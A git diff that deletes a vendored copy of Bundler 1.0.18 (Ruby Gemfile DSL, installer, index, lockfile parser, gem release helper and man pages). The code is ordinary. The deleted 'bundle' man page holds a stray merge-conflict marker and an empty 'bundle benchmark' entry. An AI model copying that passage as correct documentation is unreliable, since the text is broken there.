-      name              = opts && opts[:name] || '{,*}'
-      development_group = opts && opts[:development_group] || :development
-      path              = File.expand_path(path, Bundler.default_gemfile.dirname)
-      gemspecs = Dir[File.join(path, "#{name}.gemspec")]
-
-      case gemspecs.size
-      when 1
-        spec = Bundler.load_gemspec(gemspecs.first)
-        raise InvalidOption, "There was an error loading the gemspec at #{gemspecs.first}." unless spec
-        gem spec.name, :path => path
-        group(development_group) do
-          spec.development_dependencies.each do |dep|
-            gem dep.name, *(dep.requirement.as_list + [:type => :development])
-          end
-        end
-      when 0
-        raise InvalidOption, "There are no gemspecs at #{path}."
-      else
-        raise InvalidOption, "There are multiple gemspecs at #{path}. Please use the :name option to specify which one."
-      end
-    end
-
-    def gem(name, *args)
-      if name.is_a?(Symbol)
-        raise GemfileError, %{You need to specify gem names as Strings. Use 'gem "#{name.to_s}"' instead.}
-      end
-
-      options = Hash === args.last ? args.pop : {}
-      version = args || [">= 0"]
-
-      _deprecated_options(options)
-      _normalize_options(name, version, options)
-
-      dep = Dependency.new(name, version, options)
-
-      # if there's already a dependency with this name we try to prefer one
-      if current = @dependencies.find { |d| d.name == dep.name }
-        if current.requirement != dep.requirement
-          if current.type == :development
-            @dependencies.delete current
-          elsif dep.type == :development
-            return
-          else
-            raise DslError, "You cannot specify the same gem twice with different version requirements. " \
-                            "You specified: #{current.name} (#{current.requirement}) and " \
-                            "#{dep.name} (#{dep.requirement})"
-          end
-        end
-
-        if current.source != dep.source
-          if current.type == :development
-            @dependencies.delete current
-          elsif dep.type == :development
-            return
-          else
-            raise DslError, "You cannot specify the same gem twice coming from different sources. You " \
-                            "specified that #{dep.name} (#{dep.requirement}) should come from " \
-                            "#{current.source || 'an unspecfied source'} and #{dep.source}"
-          end
-        end
-      end
-
-      @dependencies << dep
-    end
-
-    def source(source, options = {})
-      case source
-      when :gemcutter, :rubygems, :rubyforge then
-        rubygems_source "http://rubygems.org"
-        return
-      when String
-        rubygems_source source
-        return
-      end
-
-      @source = source
-      options[:prepend] ? @sources.unshift(@source) : @sources << @source
-
-      yield if block_given?
-      @source
-    ensure
-      @source = nil
-    end
-
-    def path(path, options = {}, source_options = {}, &blk)
-      source Source::Path.new(_normalize_hash(options).merge("path" => Pathname.new(path))), source_options, &blk
-    end
-
-    def git(uri, options = {}, source_options = {}, &blk)
-      unless block_given?
-        msg = "You can no longer specify a git source by itself. Instead, \n" \
-              "either use the :git option on a gem, or specify the gems that \n" \
-              "bundler should find in the git source by passing a block to \n" \
-              "the git method, like: \n\n" \
-              "  git 'git://github.com/rails/rails.git' do\n" \
-              "    gem 'rails'\n" \
-              "  end"
-        raise DeprecatedError, msg
-      end
-
-      source Source::Git.new(_normalize_hash(options).merge("uri" => uri)), source_options, &blk
-    end
-
-    def to_definition(lockfile, unlock)
-      @sources << @rubygems_source
-      @sources.uniq!
-      Definition.new(lockfile, @dependencies, @sources, unlock)
-    end
-
-    def group(*args, &blk)
-      @groups.concat args
-      yield
-    ensure
-      args.each { @groups.pop }
-    end
-
-    def platforms(*platforms)
-      @platforms.concat platforms
-      yield
-    ensure
-      platforms.each { @platforms.pop }
-    end
-    alias_method :platform, :platforms
-
-    def env(name)
-      @env, old = name, @env
-      yield
-    ensure
-      @env = old
-    end
-
-    # Deprecated methods
-
-    def self.deprecate(name, replacement = nil)
-      define_method(name) do |*|
-        message = "'#{name}' has been removed from the Gemfile DSL, "
-        if replacement
-          message << "and has been replaced with '#{replacement}'."
-        else
-          message << "and is no longer supported."
-        end
-        message << "\nSee the README for more information on upgrading from Bundler 0.8."
-        raise DeprecatedError, message
-      end
-    end
-
-    deprecate :only, :group
-    deprecate :except
-    deprecate :disable_system_gems
-    deprecate :disable_rubygems
-    deprecate :clear_sources
-    deprecate :bundle_path
-    deprecate :bin_path
-
-  private
-
-    def rubygems_source(source)
-      @rubygems_source.add_remote source
-      @sources << @rubygems_source
-    end
-
-    def _normalize_hash(opts)
-      # Cannot modify a hash during an iteration in 1.9
-      opts.keys.each do |k|
-        next if String === k
-        v = opts[k]
-        opts.delete(k)
-        opts[k.to_s] = v
-      end
-      opts
-    end
-
-    def _normalize_options(name, version, opts)
-      _normalize_hash(opts)
-
-      invalid_keys = opts.keys - %w(group groups git path name branch ref tag require submodules platform platforms type)
-      if invalid_keys.any?
-        plural = invalid_keys.size > 1
-        message = "You passed #{invalid_keys.map{|k| ':'+k }.join(", ")} "
-        if plural
-          message << "as options for gem '#{name}', but they are invalid."
-        else
-          message << "as an option for gem '#{name}', but it is invalid."
-        end
-        raise InvalidOption, message
-      end
-
-      groups = @groups.dup
-      opts["group"] = opts.delete("groups") || opts["group"]
-      groups.concat Array(opts.delete("group"))
-      groups = [:default] if groups.empty?
-
-      platforms = @platforms.dup
-      opts["platforms"] = opts["platform"] || opts["platforms"]
-      platforms.concat Array(opts.delete("platforms"))
-      platforms.map! { |p| p.to_sym }
-      platforms.each do |p|
-        next if VALID_PLATFORMS.include?(p)
-        raise DslError, "`#{p}` is not a valid platform. The available options are: #{VALID_PLATFORMS.inspect}"
-      end
-
-      # Normalize git and path options
-      ["git", "path"].each do |type|
-        if param = opts[type]
-          if version.first && version.first =~ /^\s*=?\s*(\d[^\s]*)\s*$/
-            options = opts.merge("name" => name, "version" => $1)
-          else
-            options = opts.dup
-          end
-          source = send(type, param, options, :prepend => true) {}
-          opts["source"] = source
-        end
-      end
-
-      opts["source"]  ||= @source
-      opts["env"]     ||= @env
-      opts["platforms"] = platforms.dup
-      opts["group"]     = groups
-    end
-
-    def _deprecated_options(options)
-      if options.include?(:require_as)
-        raise DeprecatedError, "Please replace :require_as with :require"
-      elsif options.include?(:vendored_at)
-        raise DeprecatedError, "Please replace :vendored_at with :path"
-      elsif options.include?(:only)
-        raise DeprecatedError, "Please replace :only with :group"
-      elsif options.include?(:except)
-        raise DeprecatedError, "The :except option is no longer supported"
-      end
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/environment.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/environment.rb
deleted file mode 100644
index d8219516..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/environment.rb
+++ /dev/null
@@ -1,47 +0,0 @@
-module Bundler
-  class Environment
-    attr_reader :root
-
-    def initialize(root, definition)
-      @root = root
-      @definition = definition
-
-      env_file = Bundler.app_config_path.join('environment.rb')
-      env_file.rmtree if env_file.exist?
-    end
-
-    def inspect
-      @definition.to_lock.inspect
-    end
-
-    # TODO: Remove this method. It's used in cli.rb still
-    def index
-      @definition.index
-    end
-
-    def requested_specs
-      @definition.requested_specs
-    end
-
-    def specs
-      @definition.specs
-    end
-
-    def dependencies
-      @definition.dependencies
-    end
-
-    def current_dependencies
-      @definition.current_dependencies
-    end
-
-    def lock
-      @definition.lock(Bundler.default_lockfile)
-    end
-
-    def update(*gems)
-      # Nothing
-    end
-
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/gem_helper.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/gem_helper.rb
deleted file mode 100644
index 4f8cebcb..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/gem_helper.rb
+++ /dev/null
@@ -1,151 +0,0 @@
-$:.unshift File.expand_path('../vendor', __FILE__)
-require 'thor'
-require 'bundler'
-
-module Bundler
-  class GemHelper
-    include Rake::DSL if defined? Rake::DSL
-
-    def self.install_tasks(opts = {})
-      dir = opts[:dir] || Dir.pwd
-      self.new(dir, opts[:name]).install
-    end
-
-    attr_reader :spec_path, :base, :gemspec
-
-    def initialize(base, name = nil)
-      Bundler.ui = UI::Shell.new(Thor::Base.shell.new)
-      @base = base
-      gemspecs = name ? [File.join(base, "#{name}.gemspec")] : Dir[File.join(base, "{,*}.gemspec")]
-      raise "Unable to determine name from existing gemspec. Use :name => 'gemname' in #install_tasks to manually set it." unless gemspecs.size == 1
-      @spec_path = gemspecs.first
-      @gemspec = Bundler.load_gemspec(@spec_path)
-    end
-
-    def install
-      desc "Build #{name}-#{version}.gem into the pkg directory"
-      task 'build' do
-        build_gem
-      end
-
-      desc "Build and install #{name}-#{version}.gem into system gems"
-      task 'install' do
-        install_gem
-      end
-
-      desc "Create tag #{version_tag} and build and push #{name}-#{version}.gem to Rubygems"
-      task 'release' do
-        release_gem
-      end
-    end
-
-    def build_gem
-      file_name = nil
-      sh("gem build -V '#{spec_path}'") { |out, code|
-        raise out unless out[/Successfully/]
-        file_name = File.basename(built_gem_path)
-        FileUtils.mkdir_p(File.join(base, 'pkg'))
-        FileUtils.mv(built_gem_path, 'pkg')
-        Bundler.ui.confirm "#{name} #{version} built to pkg/#{file_name}"
-      }
-      File.join(base, 'pkg', file_name)
-    end
-
-    def install_gem
-      built_gem_path = build_gem
-      out, _ = sh_with_code("gem install '#{built_gem_path}'")
-      raise "Couldn't install gem, run `gem install #{built_gem_path}' for more detailed output" unless out[/Successfully installed/]
-      Bundler.ui.confirm "#{name} (#{version}) installed"
-    end
-
-    def release_gem
-      guard_clean
-      guard_already_tagged
-      built_gem_path = build_gem
-      tag_version {
-        git_push
-        rubygem_push(built_gem_path)
-      }
-    end
-
-    protected
-    def rubygem_push(path)
-      if Pathname.new("~/.gem/credentials").expand_path.exist?
-        sh("gem push '#{path}'")
-        Bundler.ui.confirm "Pushed #{name} #{version} to rubygems.org"
-      else
-        raise "Your rubygems.org credentials aren't set. Run `gem push` to set them."
-      end
-    end
-
-    def built_gem_path
-      Dir[File.join(base, "#{name}-*.gem")].sort_by{|f| File.mtime(f)}.last
-    end
-
-    def git_push
-      perform_git_push
-      perform_git_push ' --tags'
-      Bundler.ui.confirm "Pushed git commits and tags"
-    end
-
-    def perform_git_push(options = '')
-      cmd = "git push #{options}"
-      out, code = sh_with_code(cmd)
-      raise "Couldn't git push. `#{cmd}' failed with the following output:\n\n#{out}\n" unless code == 0
-    end
-
-    def guard_already_tagged
-      if sh('git tag').split(/\n/).include?(version_tag)
-        raise("This tag has already been committed to the repo.")
-      end
-    end
-
-    def guard_clean
-      clean? or raise("There are files that need to be committed first.")
-    end
-
-    def clean?
-      sh_with_code("git diff --exit-code")[1] == 0
-    end
-
-    def tag_version
-      sh "git tag -a -m \"Version #{version}\" #{version_tag}"
-      Bundler.ui.confirm "Tagged #{version_tag}"
-      yield if block_given?
-    rescue
-      Bundler.ui.error "Untagged #{version_tag} due to error"
-      sh_with_code "git tag -d #{version_tag}"
-      raise
-    end
-
-    def version
-      gemspec.version
-    end
-
-    def version_tag
-      "v#{version}"
-    end
-
-    def name
-      gemspec.name
-    end
-
-    def sh(cmd, &block)
-      out, code = sh_with_code(cmd, &block)
-      code == 0 ? out : raise(out.empty? ? "Running `#{cmd}' failed. Run this command directly for more detailed output." : out)
-    end
-
-    def sh_with_code(cmd, &block)
-      cmd << " 2>&1"
-      outbuf = ''
-      Bundler.ui.debug(cmd)
-      Dir.chdir(base) {
-        outbuf = `#{cmd}`
-        if $? == 0
-          block.call(outbuf) if block
-        end
-      }
-      [outbuf, $?]
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/gem_tasks.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/gem_tasks.rb
deleted file mode 100644
index bc759088..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/gem_tasks.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-require 'bundler/gem_helper'
-Bundler::GemHelper.install_tasks
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/graph.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/graph.rb
deleted file mode 100644
index 3cea736a..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/graph.rb
+++ /dev/null
@@ -1,130 +0,0 @@
-module Bundler
-  class Graph
-
-    USER_OPTIONS = {:style => 'filled', :fillcolor => '#B9B9D5'}.freeze
-
-    def initialize(env)
-      @env = env
-    end
-
-    def nodes
-      populate
-      @nodes
-    end
-
-    def groups
-      populate
-      @groups
-    end
-
-    def viz(output_file, show_gem_versions = false, show_dependency_requirements = false)
-      require 'graphviz'
-      populate
-
-      graph_viz = GraphViz::new('Gemfile', {:concentrate => true, :normalize => true, :nodesep => 0.55})
-      graph_viz.edge[:fontname] = graph_viz.node[:fontname] = 'Arial, Helvetica, SansSerif'
-      graph_viz.edge[:fontsize] = 12
-
-      viz_nodes = {}
-
-      # populate all of the nodes
-      nodes.each do |name, node|
-        label = name.dup
-        label << "\n#{node.version}" if show_gem_versions
-        options = { :label => label }
-        options.merge!( USER_OPTIONS ) if node.is_user
-        viz_nodes[name] = graph_viz.add_node( name, options )
-      end
-
-      group_nodes = {}
-      @groups.each do |name, dependencies|
-        group_nodes[name] = graph_viz.add_node(name.to_s, { :shape => 'box3d', :fontsize => 16 }.merge(USER_OPTIONS))
-        dependencies.each do |dependency|
-          options = { :weight => 2 }
-          if show_dependency_requirements && (dependency.requirement.to_s != ">= 0")
-            options[:label] = dependency.requirement.to_s
-          end
-          graph_viz.add_edge( group_nodes[name], viz_nodes[dependency.name], options )
-        end
-      end
-
-      @groups.keys.select { |group| group != :default }.each do |group|
-        graph_viz.add_edge( group_nodes[group], group_nodes[:default], { :weight => 2 } )
-      end
-
-      viz_nodes.each do |name, node|
-        nodes[name].dependencies.each do |dependency|
-          options = { }
-          if nodes[dependency.name].is_user
-            options[:constraint] = false
-          end
-          if show_dependency_requirements && (dependency.requirement.to_s != ">= 0")
-            options[:label] = dependency.requirement.to_s
-          end
-
-          graph_viz.add_edge( node, viz_nodes[dependency.name], options )
-        end
-      end
-
-      graph_viz.output( :png => output_file )
-    end
-
-    private
-
-    def populate
-      return if @populated
-
-      # hash of name => GraphNode
-      @nodes = {}
-      @groups = {}
-
-      # Populate @nodes
-      @env.specs.each { |spec| @nodes[spec.name] = GraphNode.new(spec.name, spec.version) }
-
-      # For gems in Gemfile, add details
-      @env.current_dependencies.each do |dependency|
-        next unless node = @nodes[dependency.name]
-        node.is_user = true
-
-        dependency.groups.each do |group|
-          if @groups.has_key? group
-            group = @groups[group]
-          else
-            group = @groups[group] = []
-          end
-          group << dependency
-        end
-      end
-
-      # walk though a final time and add edges
-      @env.specs.each do |spec|
-
-        from = @nodes[spec.name]
-        spec.runtime_dependencies.each do |dependency|
-          from.dependencies << dependency
-        end
-
-      end
-
-      @nodes.freeze
-      @groups.freeze
-      @populated = true
-    end
-
-  end
-
-  # Add version info
-  class GraphNode
-
-    def initialize(name, version)
-      @name = name
-      @version = version
-      @is_user = false
-      @dependencies = []
-    end
-
-    attr_reader :name, :dependencies, :version
-    attr_accessor :is_user
-
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/index.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/index.rb
deleted file mode 100644
index 22b0f6fc..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/index.rb
+++ /dev/null
@@ -1,138 +0,0 @@
-module Bundler
-  class Index
-    include Enumerable
-
-    def self.build
-      i = new
-      yield i
-      i
-    end
-
-    attr_reader :specs
-    protected   :specs
-
-    def initialize
-      @cache = {}
-      @specs = Hash.new { |h,k| h[k] = [] }
-    end
-
-    def initialize_copy(o)
-      super
-      @cache = {}
-      @specs = Hash.new { |h,k| h[k] = [] }
-
-      o.specs.each do |name, array|
-        @specs[name] = array.dup
-      end
-    end
-
-    def empty?
-      each { return false }
-      true
-    end
-
-    def search(query)
-      case query
-      when Gem::Specification, RemoteSpecification, LazySpecification then search_by_spec(query)
-      when String then @specs[query]
-      else search_by_dependency(query)
-      end
-    end
-
-    def search_for_all_platforms(dependency, base = [])
-      specs = @specs[dependency.name] + base
-
-      wants_prerelease = dependency.requirement.prerelease?
-      only_prerelease  = specs.all? {|spec| spec.version.prerelease? }
-      found = specs.select { |spec| dependency.matches_spec?(spec) }
-
-      unless wants_prerelease || only_prerelease
-        found.reject! { |spec| spec.version.prerelease? }
-      end
-
-      found.sort_by {|s| [s.version, s.platform.to_s == 'ruby' ? "\0" : s.platform.to_s] }
-    end
-
-    def sources
-      @specs.values.map do |specs|
-        specs.map{|s| s.source.class }
-      end.flatten.uniq
-    end
-
-    alias [] search
-
-    def <<(spec)
-      arr = @specs[spec.name]
-
-      arr.delete_if do |s|
-        same_version?(s.version, spec.version) && s.platform == spec.platform
-      end
-
-      arr << spec
-      spec
-    end
-
-    def each(&blk)
-      @specs.values.each do |specs|
-        specs.each(&blk)
-      end
-    end
-
-    def use(other, override_dupes = false)
-      return unless other
-      other.each do |s|
-        if (dupes = search_by_spec(s)) && dupes.any?
-          next unless override_dupes
-          @specs[s.name] -= dupes
-        end
-        @specs[s.name] << s
-      end
-      self
-    end
-
-    def ==(o)
-      all? do |s|
-        s2 = o[s].first and (s.dependencies & s2.dependencies).empty?
-      end
-    end
-
-  private
-
-    def search_by_spec(spec)
-      @specs[spec.name].select do |s|
-        same_version?(s.version, spec.version) && Gem::Platform.new(s.platform) == Gem::Platform.new(spec.platform)
-      end
-    end
-
-    if RUBY_VERSION < '1.9'
-      def same_version?(a, b)
-        regex = /^(.*?)(?:\.0)*$/
-        a.to_s[regex, 1] == b.to_s[regex, 1]
-      end
-    else
-      def same_version?(a, b)
-        a == b
-      end
-    end
-
-    def spec_satisfies_dependency?(spec, dep)
-      return false unless dep.name === spec.name
-      dep.requirement.satisfied_by?(spec.version)
-    end
-
-    def search_by_dependency(dependency)
-      @cache[dependency.hash] ||= begin
-        specs = @specs[dependency.name]
-        found = specs.select { |spec| dependency.matches_spec?(spec) && Gem::Platform.match(spec.platform) }
-
-        wants_prerelease = dependency.requirement.prerelease?
-        only_prerelease  = specs.all? {|spec| spec.version.prerelease? }
-        unless wants_prerelease || only_prerelease
-          found.reject! { |spec| spec.version.prerelease? }
-        end
-
-        found.sort_by {|s| [s.version, s.platform.to_s == 'ruby' ? "\0" : s.platform.to_s] }
-      end
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/installer.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/installer.rb
deleted file mode 100644
index e0728a25..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/installer.rb
+++ /dev/null
@@ -1,86 +0,0 @@
-require 'erb'
-require 'rubygems/dependency_installer'
-
-module Bundler
-  class Installer < Environment
-    def self.install(root, definition, options = {})
-      installer = new(root, definition)
-      installer.run(options)
-      installer
-    end
-
-    def run(options)
-      # Create the BUNDLE_PATH directory
-      begin
-        Bundler.bundle_path.mkpath unless Bundler.bundle_path.exist?
-      rescue Errno::EEXIST
-        raise PathError, "Could not install to path `#{Bundler.settings[:path]}` " +
-          "because of an invalid symlink. Remove the symlink so the directory can be created."
-      end
-
-      if Bundler.settings[:frozen]
-        @definition.ensure_equivalent_gemfile_and_lockfile(options[:deployment])
-      end
-
-      if dependencies.empty?
-        Bundler.ui.warn "The Gemfile specifies no dependencies"
-        return
-      end
-
-      if Bundler.default_lockfile.exist? && !options["update"]
-        begin
-          tmpdef = Definition.build(Bundler.default_gemfile, Bundler.default_lockfile, nil)
-          local = true unless tmpdef.new_platform? || tmpdef.missing_specs.any?
-        rescue BundlerError
-        end
-      end
-
-      # Since we are installing, we can resolve the definition
-      # using remote specs
-      unless local
-        options["local"] ?
-          @definition.resolve_with_cache! :
-          @definition.resolve_remotely!
-      end
-
-      # Must install gems in the order that the resolver provides
-      # as dependencies might actually affect the installation of
-      # the gem.
-      specs.each do |spec|
-        spec.source.fetch(spec) if spec.source.respond_to?(:fetch)
-
-        # unless requested_specs.include?(spec)
-        #   Bundler.ui.debug "  * Not in requested group; skipping."
-        #   next
-        # end
-
-        Bundler.rubygems.with_build_args [Bundler.settings["build.#{spec.name}"]] do
-          spec.source.install(spec)
-          Bundler.ui.debug "from #{spec.loaded_from} "
-        end
-
-        Bundler.ui.info ""
-        generate_bundler_executable_stubs(spec) if Bundler.settings[:bin]
-        FileUtils.rm_rf(Bundler.tmp)
-      end
-
-      lock
-    end
-
-  private
-
-    def generate_bundler_executable_stubs(spec)
-      bin_path = Bundler.bin_path
-      template = File.read(File.expand_path('../templates/Executable', __FILE__))
-      relative_gemfile_path = Bundler.default_gemfile.relative_path_from(bin_path)
-      ruby_command = Thor::Util.ruby_command
-
-      spec.executables.each do |executable|
-        next if executable == "bundle"
-        File.open "#{bin_path}/#{executable}", 'w', 0755 do |f|
-          f.puts ERB.new(template, nil, '-').result(binding)
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/lazy_specification.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/lazy_specification.rb
deleted file mode 100644
index e9d6b226..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/lazy_specification.rb
+++ /dev/null
@@ -1,74 +0,0 @@
-require "uri"
-require "rubygems/spec_fetcher"
-
-module Bundler
-  class LazySpecification
-    include MatchPlatform
-
-    attr_reader :name, :version, :dependencies, :platform
-    attr_accessor :source
-
-    def initialize(name, version, platform, source = nil)
-      @name          = name
-      @version       = version
-      @dependencies  = []
-      @platform      = platform
-      @source        = source
-      @specification = nil
-    end
-
-    def full_name
-      if platform == Gem::Platform::RUBY or platform.nil? then
-        "#{@name}-#{@version}"
-      else
-        "#{@name}-#{@version}-#{platform}"
-      end
-    end
-
-    def satisfies?(dependency)
-      @name == dependency.name && dependency.requirement.satisfied_by?(Gem::Version.new(@version))
-    end
-
-    def to_lock
-      if platform == Gem::Platform::RUBY or platform.nil?
-        out = "    #{name} (#{version})\n"
-      else
-        out = "    #{name} (#{version}-#{platform})\n"
-      end
-
-      dependencies.sort_by {|d| d.to_s }.each do |dep|
-        next if dep.type == :development
-        out << "    #{dep.to_lock}\n"
-      end
-
-      out
-    end
-
-    def __materialize__
-      @specification = source.specs.search(Gem::Dependency.new(name, version)).last
-    end
-
-    def respond_to?(*args)
-      super || @specification.respond_to?(*args)
-    end
-
-    def to_s
-      "#{name} (#{version})"
-    end
-
-  private
-
-    def to_ary
-      nil
-    end
-
-    def method_missing(method, *args, &blk)
-      raise "LazySpecification has not been materialized yet (calling :#{method} #{args.inspect})" unless @specification
-
-      return super unless respond_to?(method)
-
-      @specification.send(method, *args, &blk)
-    end
-
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/lockfile_parser.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/lockfile_parser.rb
deleted file mode 100644
index bd790705..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/lockfile_parser.rb
+++ /dev/null
@@ -1,108 +0,0 @@
-require "strscan"
-
-module Bundler
-  class LockfileParser
-    attr_reader :sources, :dependencies, :specs, :platforms
-
-    def initialize(lockfile)
-      @platforms    = []
-      @sources      = []
-      @dependencies = []
-      @specs        = []
-      @state        = :source
-
-      lockfile.split(/(\r?\n)+/).each do |line|
-        if line == "DEPENDENCIES"
-          @state = :dependency
-        elsif line == "PLATFORMS"
-          @state = :platform
-        else
-          send("parse_#{@state}", line)
-        end
-      end
-    end
-
-  private
-
-    TYPES = {
-      "GIT"  => Bundler::Source::Git,
-      "GEM"  => Bundler::Source::Rubygems,
-      "PATH" => Bundler::Source::Path
-    }
-
-    def parse_source(line)
-      case line
-      when "GIT", "GEM", "PATH"
-        @current_source = nil
-        @opts, @type = {}, line
-      when "  specs:"
-        @current_source = TYPES[@type].from_lock(@opts)
-        @sources << @current_source
-      when /^  ([a-z]+): (.*)$/i
-        value = $2
-        value = true if value == "true"
-        value = false if value == "false"
-
-        key = $1
-
-        if @opts[key]
-          @opts[key] = Array(@opts[key])
-          @opts[key] << value
-        else
-          @opts[key] = value
-        end
-      else
-        parse_spec(line)
-      end
-    end
-
-    NAME_VERSION = '(?! )(.*?)(?: \(([^-]*)(?:-(.*))?\))?'
-
-    def parse_dependency(line)
-      if line =~ %r{^ {2}#{NAME_VERSION}(!)?$}
-        name, version, pinned = $1, $2, $4
-        version = version.split(",").map { |d| d.strip } if version
-
-        dep = Bundler::Dependency.new(name, version)
-
-        if pinned && dep.name != 'bundler'
-          spec = @specs.find { |s| s.name == dep.name }
-          dep.source = spec.source if spec
-
-          # Path sources need to know what the default name / version
-          # to use in the case that there are no gemspecs present. A fake
-          # gemspec is created based on the version set on the dependency
-          # TODO: Use the version from the spec instead of from the dependency
-          if version && version.size == 1 && version.first =~ /^\s*= (.+)\s*$/ && dep.source.is_a?(Bundler::Source::Path)
-            dep.source.name    = name
-            dep.source.version = $1
-          end
-        end
-
-        @dependencies << dep
-      end
-    end
-
-    def parse_spec(line)
-      if line =~ %r{^ {4}#{NAME_VERSION}$}
-        name, version = $1, Gem::Version.new($2)
-        platform = $3 ? Gem::Platform.new($3) : Gem::Platform::RUBY
-        @current_spec = LazySpecification.new(name, version, platform)
-        @current_spec.source = @current_source
-        @specs << @current_spec
-      elsif line =~ %r{^ {6}#{NAME_VERSION}$}
-        name, version = $1, $2
-        version = version.split(',').map { |d| d.strip } if version
-        dep = Gem::Dependency.new(name, version)
-        @current_spec.dependencies << dep
-      end
-    end
-
-    def parse_platform(line)
-      if line =~ /^  (.*)$/
-        @platforms << Gem::Platform.new($1)
-      end
-    end
-
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/man/bundle b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/man/bundle
deleted file mode 100644
index 4ac481c7..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/man/bundle
+++ /dev/null
@@ -1,108 +0,0 @@
-.\" generated with Ronn/v0.7.3
-.\" http://github.com/rtomayko/ronn/tree/0.7.3
-.
-.TH "BUNDLE" "1" "July 2011" "" ""
-.
-.SH "NAME"
-\fBbundle\fR \- Ruby Dependency Management
-.
-.SH "SYNOPSIS"
-\fBbundle\fR COMMAND [\-\-no\-color] [\-\-verbose] [ARGS]
-.
-.SH "DESCRIPTION"
-Bundler manages an \fBapplication\'s dependencies\fR through its entire life across many machines systematically and repeatably\.
-.
-.P
-See the bundler website \fIhttp://gembundler\.com\fR for information on getting started, and Gemfile(5) for more information on the \fBGemfile\fR format\.
-.
-.SH "OPTIONS"
-.
-.TP
-\fB\-\-no\-color\fR
-Prints all output without color
-.
-.TP
-\fB\-\-verbose\fR
-Prints out additional logging information
-.
-.SH "BUNDLE COMMANDS"
-We divide \fBbundle\fR subcommands into primary commands and utilities\.
-.
-.SH "PRIMARY COMMANDS"
-.
-.TP
-bundle install(1) \fIbundle\-install\.1\.html\fR
-Install the gems specified by the \fBGemfile\fR or \fBGemfile\.lock\fR
-.
-.TP
-bundle update(1) \fIbundle\-update\.1\.html\fR
-Update dependencies to their latest versions
-.
-.TP
-bundle package(1) \fIbundle\-package\.1\.html\fR
-Package the \.gem files required by your application into the \fBvendor/cache\fR directory
-.
-.TP
-bundle exec(1) \fIbundle\-exec\.1\.html\fR
-Execute a script in the context of the current bundle
-.
-.TP
-bundle config(1) \fIbundle\-config\.1\.html\fR
-Specify and read configuration options for bundler
-.
-.SH "UTILITIES"
-.
-.TP
-\fBbundle check(1)\fR
-Determine whether the requirements for your application are installed and available to bundler
-.
-.TP
-\fBbundle list(1)\fR
-Show all of the gems in the current bundle
-.
-.TP
-\fBbundle show(1)\fR
-Show the source location of a particular gem in the bundle
-.
-.TP
-\fBbundle outdated(1)\fR
-Show all of the outdated gems in the current bundle
-.
-.TP
-\fBbundle console(1)\fR
-Start an IRB session in the context of the current bundle
-.
-.TP
-\fBbundle open(1)\fR
-Open an installed gem in the editor
-.
-.TP
-\fBbundle viz(1)\fR
-Generate a visual representation of your dependencies <<<<<<< HEAD
-.
-.TP
-\fBbundle benchmark(1)\fR:
-
-.
-.TP
-\fBbundle init(1)\fR
-Generate a simple \fBGemfile\fR, placed in the current directory
-.
-.TP
-\fBbundle gem(1)\fR
-Create a simple gem, suitable for development with bundler
-.
-.SH "OBSOLETE"
-These commands are obsolete and should no longer be used
-.
-.IP "\(bu" 4
-\fBbundle lock(1)\fR
-.
-.IP "\(bu" 4
-\fBbundle unlock(1)\fR
-.
-.IP "\(bu" 4
-\fBbundle cache(1)\fR
-.
-.IP "" 0
-
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/man/bundle-config b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/man/bundle-config
deleted file mode 100644
index 5f82396c..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/man/bundle-config
+++ /dev/null
@@ -1,92 +0,0 @@
-.\" generated with Ronn/v0.7.3
-.\" http://github.com/rtomayko/ronn/tree/0.7.3
-.
-.TH "BUNDLE\-CONFIG" "1" "October 2010" "" ""
-.
-.SH "NAME"
-\fBbundle\-config\fR \- Set bundler configuration options
-.
-.SH "SYNOPSIS"
-\fBbundle config\fR [\fIname\fR [\fIvalue\fR]]
-.
-.SH "DESCRIPTION"
-This command allows you to interact with bundler\'s configuration system\. Bundler retrieves its configuration from the local application (\fBapp/\.bundle/config\fR), environment variables, and the user\'s home directory (\fB~/\.bundle/config\fR), in that order of priority\.
-.
-.P
-Executing \fBbundle config\fR with no parameters will print a list of all bundler configuration for the current bundle, and where that configuration was set\.
-.
-.P
-Executing \fBbundle config <name>\fR will print the value of that configuration setting, and where it was set\.
-.
-.P
-Executing \fBbundle config <name> <value>\fR will set that configuration to the value specified for all bundles executed as the current user\. The configuration will be stored in \fB~/\.bundle/config\fR\.
-.
-.SH "BUILD OPTIONS"
